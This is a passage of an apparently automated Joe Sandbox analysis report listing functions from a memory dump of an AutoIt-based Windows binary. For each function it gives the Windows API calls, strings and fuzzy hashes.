SafeArrayAccessData.OLEAUT32(00000001,?), ref: 0083135F
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 008313C4
SafeArrayAccessData.OLEAUT32(00000001,?), ref: 00831430

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ArraySafe$Data$Access$UnaccessVartype
String ID:
API String ID: 2550207440-0
Opcode ID: a23838bb7f75a48bfbd6562bda8694b26f906296833ca976b356edda3c037942
Instruction ID: db9ad9cf690ed972d5f597f4c563a5db164328cda020265339807434eb02d3fc
Opcode Fuzzy Hash: a23838bb7f75a48bfbd6562bda8694b26f906296833ca976b356edda3c037942
Instruction Fuzzy Hash: 9191D271A002099FDF00DFA8C898BBEB7B5FF84B15F144429E911EB291DB78A941CBD5

Function 007D948A Relevance: 10.8, APIs: 7, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 9b9e114eb9db3d60655231bf17aaae27173a497d8c63be46c8a40e4df4e7dca3
Instruction ID: 61d866f9acd12799a97bf74b5ff5cbe1d245edc3120e3526c09602fadbf8fb3f
Opcode Fuzzy Hash: 9b9e114eb9db3d60655231bf17aaae27173a497d8c63be46c8a40e4df4e7dca3
Instruction Fuzzy Hash: 14912971D40219EFCB10CFA9CC88AEEBBB8FF49320F14455AE516B7291D378A951CB60

Function 00843947 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0084396B
CharUpperBuffW.USER32(?,?), ref: 00843A7A
_wcslen.LIBCMT ref: 00843A8A
VariantClear.OLEAUT32(?), ref: 00843C1F

Part of subcall function 00830CDF: VariantInit.OLEAUT32(00000000), ref: 00830D1F
Part of subcall function 00830CDF: VariantCopy.OLEAUT32(?,?), ref: 00830D28
Part of subcall function 00830CDF: VariantClear.OLEAUT32(?), ref: 00830D34

Strings

AUTOIT.ERROR, xrefs: 00843A80, 00843A85
Incorrect Parameter format, xrefs: 008439A6, 00843BA1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: cfd2d2616f658c1524ca117a0f78b4275e9f68386a68ce59d6f9757b2e7a725f
Instruction ID: e32b35823c0deebf4d2e883ffbf2b600287979f1dac293bcc334f990e347e6ed
Opcode Fuzzy Hash: cfd2d2616f658c1524ca117a0f78b4275e9f68386a68ce59d6f9757b2e7a725f
Instruction Fuzzy Hash: 139133746083099FC704EF28C48596AB7E5FF88314F14882EF88A9B351DB35EE45CB92

Function 00844BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 0082000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0081FF41,80070057,?,?,?,0082035E), ref: 0082002B
Part of subcall function 0082000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0081FF41,80070057,?,?), ref: 00820046
Part of subcall function 0082000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0081FF41,80070057,?,?), ref: 00820054
Part of subcall function 0082000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0081FF41,80070057,?), ref: 00820064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00844C51
_wcslen.LIBCMT ref: 00844D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00844DCF
CoTaskMemFree.OLE32(?), ref: 00844DDA

Strings

NULL Pointer assignment, xrefs: 00844E23, 00844E52

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 07b0e55f923fe90e3b4606c5922d839fd81f9aa155096000c2e9026cedadecc5
Instruction ID: aa66dacace15bc8cb718323d6e8f127c38ea22e7319c9290ef5ec586c2490acc
Opcode Fuzzy Hash: 07b0e55f923fe90e3b4606c5922d839fd81f9aa155096000c2e9026cedadecc5
Instruction Fuzzy Hash: AC910171D0021DEFDF10DFA4D895AEEB7B9FF08314F10816AE915A7251EB34AA458FA0

Function 008520FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00852183
GetMenuItemCount.USER32(00000000), ref: 008521B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 008521DD
_wcslen.LIBCMT ref: 00852213
GetMenuItemID.USER32(?,?), ref: 0085224D
GetSubMenu.USER32(?,?), ref: 0085225B

Part of subcall function 00823A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00823A57
Part of subcall function 00823A3D: GetCurrentThreadId.KERNEL32 ref: 00823A5E
Part of subcall function 00823A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,008225B3), ref: 00823A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 008522E3

Part of subcall function 0082E97B: Sleep.KERNEL32 ref: 0082E9F3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: b693c297f189d0fbfdd4ca141906a22bb8dc679424a9d0c64fd9d0e015fc1489
Instruction ID: e1be0b351cda687cc9927434cd9ff54796521a583a9b2ed18cf335b4c6d9744d
Opcode Fuzzy Hash: b693c297f189d0fbfdd4ca141906a22bb8dc679424a9d0c64fd9d0e015fc1489
Instruction Fuzzy Hash: 0B718E75A00215EFCB10DF68C885AAEB7F1FF49311F148499E816EB351DB38AE458F90

Function 00857E9E Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(01084A58), ref: 00857F37
IsWindowEnabled.USER32(01084A58), ref: 00857F43
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0085801E
SendMessageW.USER32(01084A58,000000B0,?,?), ref: 00858051
IsDlgButtonChecked.USER32(?,?), ref: 00858089
GetWindowLongW.USER32(01084A58,000000EC), ref: 008580AB
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 008580C3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 458e630bda4bbcd48719478298b43ca51a210144c485437a395dca7ea07d4bea
Instruction ID: 9080c0823951ef37beaf0ed9a1e7050515132b684ff1dc68716b29bda6c2ac8a
Opcode Fuzzy Hash: 458e630bda4bbcd48719478298b43ca51a210144c485437a395dca7ea07d4bea
Instruction Fuzzy Hash: E5718C34608204EFEF21DF64D884FAABBB5FF09302F14845AED45E72A1CB31A949CB10

Function 0082AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0082AEF9
GetKeyboardState.USER32(?), ref: 0082AF0E
SetKeyboardState.USER32(?), ref: 0082AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 0082AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 0082AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 0082AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 0082B020

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: e01d214a18312f96e23d9ba32c685ca4c431f7e567ce949b479f634b164d66da
Instruction ID: f2ab9d4218a2f0ad9c03138c5f79e4d342d687dc55fba7224f845ddc7176608a
Opcode Fuzzy Hash: e01d214a18312f96e23d9ba32c685ca4c431f7e567ce949b479f634b164d66da
Instruction Fuzzy Hash: C951B1A06047E53EFB3A42349945BBA7FE9FF06304F088489E1E5D54C2D7A9ACC4D752

Function 0082ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 0082AD19
GetKeyboardState.USER32(?), ref: 0082AD2E
SetKeyboardState.USER32(?), ref: 0082AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 0082ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 0082ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 0082AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 0082AE38

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 74eaa447a0190d3c1cdf5af005973c15388e4a6c4e1809911fad57c039cf142f
Instruction ID: 8cedbc0c71b72bd2621151c3c16dcbd37962b288b772d8334de72e347d4d7c45
Opcode Fuzzy Hash: 74eaa447a0190d3c1cdf5af005973c15388e4a6c4e1809911fad57c039cf142f
Instruction Fuzzy Hash: 2A51D3A15047E53EFB3A82249C95B7ABEE8FF46300F088489E1D5D68C2D294ECC9D752

Function 007F542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00803CD6,?,?,?,?,?,?,?,?,007F5BA3,?,?,00803CD6,?,?), ref: 007F5470
__fassign.LIBCMT ref: 007F54EB
__fassign.LIBCMT ref: 007F5506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,00803CD6,00000005,00000000,00000000), ref: 007F552C
WriteFile.KERNEL32(?,00803CD6,00000000,007F5BA3,00000000,?,?,?,?,?,?,?,?,?,007F5BA3,?), ref: 007F554B
WriteFile.KERNEL32(?,?,00000001,007F5BA3,00000000,?,?,?,?,?,?,?,?,?,007F5BA3,?), ref: 007F5584

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: b72c8d1d5839da68faed5349454b5471767cc965807d32cdc4979730b5d5e446
Instruction ID: 8532078c2fd2b5b38892178fcf37f877d779258e6778e88addb82ca513a94113
Opcode Fuzzy Hash: b72c8d1d5839da68faed5349454b5471767cc965807d32cdc4979730b5d5e446
Instruction Fuzzy Hash: 52519F71A006499FDB10CFA8D845AEEBBFAEF09300F14411AE655E7391E634AA51CB60

Function 008410B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0084304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0084307A
Part of subcall function 0084304E: _wcslen.LIBCMT ref: 0084309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00841112
WSAGetLastError.WSOCK32 ref: 00841121
WSAGetLastError.WSOCK32 ref: 008411C9
closesocket.WSOCK32(00000000), ref: 008411F9

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 62a47c7d1431d029e73532b005952d7f92769cb7eb344e57a56dd93dfaaf57ae
Instruction ID: 554d4639b1706e12f6e5c2f3d32779a1eaee9752efc4d98230802471bbdc4bbd
Opcode Fuzzy Hash: 62a47c7d1431d029e73532b005952d7f92769cb7eb344e57a56dd93dfaaf57ae
Instruction Fuzzy Hash: 5A41D431600208AFDF109F24C889BA9BBE9FF45369F148059F919DB291D774ED81CFA1

Function 0082CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0082DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0082CF22,?), ref: 0082DDFD

Part of subcall function 0082DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0082CF22,?), ref: 0082DE16

lstrcmpiW.KERNEL32(?,?), ref: 0082CF45
MoveFileW.KERNEL32(?,?), ref: 0082CF7F
_wcslen.LIBCMT ref: 0082D005
_wcslen.LIBCMT ref: 0082D01B
SHFileOperationW.SHELL32(?), ref: 0082D061

Strings

\*.*, xrefs: 0082CFF3

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: 2463bae54e259a78e0a37b522192157bfddf505f328cc4ee61113ec497664020
Instruction ID: da0c43342e0f4787e4395c3a453c37198e2cc1ab345bc73e0e74f3883c19175b
Opcode Fuzzy Hash: 2463bae54e259a78e0a37b522192157bfddf505f328cc4ee61113ec497664020
Instruction Fuzzy Hash: B84155719452299FDF12EBA4DA85EEDB7B8FF08340F1000E6E545EB142EF74A684CB51

Function 00852DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00852E1C
GetWindowLongW.USER32(?,000000F0), ref: 00852E4F
GetWindowLongW.USER32(?,000000F0), ref: 00852E84
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00852EB6
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00852EE0
GetWindowLongW.USER32(?,000000F0), ref: 00852EF1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00852F0B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: a164dac699f67fb3d9715358ad526d03c0ab5ad91ce94326c2518688dced6dee
Instruction ID: 2d4f55938f6f6c95453e3dda2d76ab442f5f7f0100582a95d38f22c8cbea5dd2
Opcode Fuzzy Hash: a164dac699f67fb3d9715358ad526d03c0ab5ad91ce94326c2518688dced6dee
Instruction Fuzzy Hash: 2D31F230604255AFDB21DF58EC8AF653BE1FB9A712F5901A5F901CB2B2CB71B8449B41

Function 00827726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00827769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0082778F
SysAllocString.OLEAUT32(00000000), ref: 00827792
SysAllocString.OLEAUT32(?), ref: 008277B0
SysFreeString.OLEAUT32(?), ref: 008277B9
StringFromGUID2.OLE32(?,?,00000028), ref: 008277DE
SysAllocString.OLEAUT32(?), ref: 008277EC

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 4bab36cc29bca8794f65771b07b9cf6486de47ded5e478f4b13a18930c7c7dbe
Instruction ID: e4fba6bcbcef34ad428fdebeb9315c039c077e5dccea0f0951a0599ff386c2d7
Opcode Fuzzy Hash: 4bab36cc29bca8794f65771b07b9cf6486de47ded5e478f4b13a18930c7c7dbe
Instruction Fuzzy Hash: 22219076604329AFDB10DFA9DC88CBB77ACFB097647448025FA15DB290D674DC818B64

Function 008277FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00827842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00827868
SysAllocString.OLEAUT32(00000000), ref: 0082786B
SysAllocString.OLEAUT32 ref: 0082788C
SysFreeString.OLEAUT32 ref: 00827895
StringFromGUID2.OLE32(?,?,00000028), ref: 008278AF
SysAllocString.OLEAUT32(?), ref: 008278BD

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: deff13dd26f0cd8ac31f5de120d0430d62d63519655a3856eab0c83db072206d
Instruction ID: 6901ff76b9e1789b2c63dadbfe0ff5a2c9eec77c3a76f7154cfead02d2a552a3
Opcode Fuzzy Hash: deff13dd26f0cd8ac31f5de120d0430d62d63519655a3856eab0c83db072206d
Instruction Fuzzy Hash: BD217435604228AFDB109FA9DC8CDAA77ECFB097607508135F915CB2A1D674DC81CB68

Function 008304D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 008304F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 0083052E

Strings

nul, xrefs: 00830567

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: d2087d3a9427f597210d993f0db6f3b81ac8c2bbd96141c652ad79b475deb977
Instruction ID: e163939e10db7e051b5effb09a5c1821cc7a90caa99a1c5c10fcc616432454fa
Opcode Fuzzy Hash: d2087d3a9427f597210d993f0db6f3b81ac8c2bbd96141c652ad79b475deb977
Instruction Fuzzy Hash: 3B214C75500309AFDF209F69DC54A9A7BB4FF84725F204A19F8A1E72E0E7709950CFA0

Function 008305A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 008305C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00830601

Strings

nul, xrefs: 00830639

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 18cc0819998b71c8a7b8909f290441e183b41c507ef1422241ed23ca4eccd62d
Instruction ID: 39853d01765f1aafac110bde4f354ea7b000bfff32f68dc8217a59583dd548df
Opcode Fuzzy Hash: 18cc0819998b71c8a7b8909f290441e183b41c507ef1422241ed23ca4eccd62d
Instruction Fuzzy Hash: 332195755003059FDB209F69CC15A9A77E8FFE5B25F200A19F8A1E72D4E7709860CF90

Function 008540AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 007C604C
